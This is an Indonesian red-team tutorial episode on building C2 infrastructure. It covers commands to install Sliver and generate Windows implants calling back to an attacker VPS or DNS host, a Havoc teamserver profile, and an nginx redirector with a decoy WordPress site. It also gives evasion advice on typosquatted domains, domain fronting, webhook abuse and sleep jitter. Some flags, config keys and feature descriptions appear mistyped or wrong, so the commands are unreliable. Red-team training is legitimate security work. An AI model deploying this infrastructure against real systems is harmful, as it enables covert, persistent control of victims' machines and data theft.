Belajar Red Team Operator - C2 Infrastructure (Sliver/Havoc)

#Pendahuluan

Setelah di episode 3 kita mempelajari initial access & delivery — spearphishing, drive-by, dan valid accounts — pada episode ini kita masuk ke infrastruktur yang menjaga komunikasi tetap hidup: C2 (Command & Control). C2 adalah backbone red team operations — tanpa C2 yang reliable dan OPSEC-conscious, semua akses yang didapat akan sia-sia.

C2 infrastructure harus mampu: bertahan dari detection, menghindari logging, dan mempertahankan session meskipun network conditions berubah. Kalian harus memahami tidak hanya "bagaimana menjalankan C2" tetapi "bagaimana membuat C2 tidak terdeteksi".

#Arsitektur C2

#Komponen Utama

text

C2 Architecture
================
┌─────────────────────────────────────────────────┐
│ Attacker Infrastructure                          │
│ ┌───────────┐  ┌───────────┐  ┌───────────┐    │
│ │Team Server│←→│Redirector  │←→│Implant     │    │
│ │(Sliver)   │  │(nginx)    │  │(target)    │    │
│ └───────────┘  └───────────┘  └───────────┘    │
│       ↑                                         │
│ ┌───────────┐                                   │
│ │Payload    │                                   │
│ │Hosting    │                                   │
│ └───────────┘                                   │
└─────────────────────────────────────────────────┘

#Traffic Flow

text

Implant → Redirector → Team Server
   │           │              │
   │     (mTLS/HTTPS)         │
   │           │              │
   └─── C2 traffic ──────────┘
 
Redirector:
  - Terima semua HTTPS traffic
  - Forward ke team server hanya untuk valid sessions
  - Drop traffic yang tidak valid

#Sliver — C2 Framework

#Setup Team Server

bash

# Install Sliver
go install github.com/BishopFox/sliver@latest
 
# Start server
sliver-server
 
# Generate mTLS implant
generate --mtls your.vps.ip --os windows --arch amd64 --save /tmp/sliver.exe
 
# Start listener
mtls
 
# Monitor connections
sessions

#Sliver Features

Feature	Kegunaan
mTLS	Encrypted, mutual authentication
HTTP(S)	Covert channel via web traffic
DNS	Domain fronting via DNS
Multi-session	Multiple implants
Exfiltration	Built-in data exfil
Evasion	Process injection, memory execution

#Sliver Profiles

bash

# Generate implant dengan profile
sliver-server
generate --mtls your.vps.ip \
  --os windows --arch amd64 \
  --disable-sudo \
  --canary=false \
  --name "implant-01"
 
# DNS implant (untuk network restrictions)
generate --dns dns.attacker.com \
  --os windows --arch amd64

#Havoc — Advanced C2

#Setup Havoc

bash

# Clone & build
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-client
 
# Generate profile
cat > profiles/havoc.yaml << 'EOF'
name: Havoc
author: redteam
teamserver:
  host: 0.0.0.0
  port: 40056
  connectonds:
    - port: 443
      type: https
      ssl:
        cert: /path/to/cert.pem
        key: /path/to/key.pem
EOF
 
# Start Havoc
./havoc server --profile ./profiles/havoc.yaml

#Havoc Features

Feature	Kegunaan
Teamserver	Multi-operator collaboration
Payload generator	Custom shellcode loaders
Browser pivot	Web session hijacking
Smart inject	Process injection

#Redirectors

#Nginx Redirector

nginx

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name redirector.com;
    
    ssl_certificate /etc/letsencrypt/live/redirector.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/redirector.com/privkey.pem;
    
    location / {
        # Forward valid C2 traffic
        proxy_pass https://teamserver:443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
    
    location /wp-admin {
        # Dummy WordPress site (decoy)
        root /var/www/html;
        try_files $uri $uri/ =404;
    }
}

#OPSEC for Redirectors

text

Redirector OPSEC
==================
- Use different IP untuk redirector & team server
- Domain harus mirip target (typosquatting)
- SSL certificate dari Let's Encrypt (legitimate)
- Include decoy content (WordPress dummy site)
- Rate limiting untuk traffic filtering
- Log analysis untuk detection awareness

#C2 Profile Design

#Traffic Disguise

text

C2 Profile Options
====================
1. HTTPS mimicking (Chrome/Firefox TLS fingerprint)
2. Domain fronting (CDN abuse)
3. DNS over HTTPS (DoH)
4. Custom protocol over allowed ports
5. Legitimate service abuse (Slack, Teams webhooks)

#Jitter & Sleep

python

# Conceptual: implant sleep & jitter
sleep_time = 300  # 5 minutes
jitter = 0.25     # 25% jitter
 
# Actual sleep = sleep_time ± (sleep_time * jitter)
# 300 ± 75 seconds = 225-375 seconds

Note

C2 profiles harus didesain untuk meniru traffic legit. Analisis network traffic target untuk memahami pola normal — kemudian buat C2 traffic yang meniru pola tersebut.

#Praktik: C2 Setup

bash

# 1. Setup VPS (DigitalOcean/Hetzner)
# 2. Install Sliver di VPS
# 3. Generate implant
# 4. Setup nginx redirector
# 5. Test connectivity
# 6. Test detection (jalankan di lab dengan Wireshark)
# 7. Catatan: berapa lama terdeteksi?

#Penutup

Inti yang harus dibawa pulang:

C2 architecture: team server → redirector → implant, dengan OPSEC di setiap layer.
Sliver: mTLS, multi-session, built-in evasion features.
Havoc: advanced C2 dengan teamserver collaboration.
Redirectors: nginx/SSL, decoy content, traffic filtering.

Di episode 5 selanjutnya, kita akan mempelajari payload development & evasion — custom implants, packing, dan teknik AV/EDR evasion untuk delivery yang efektif.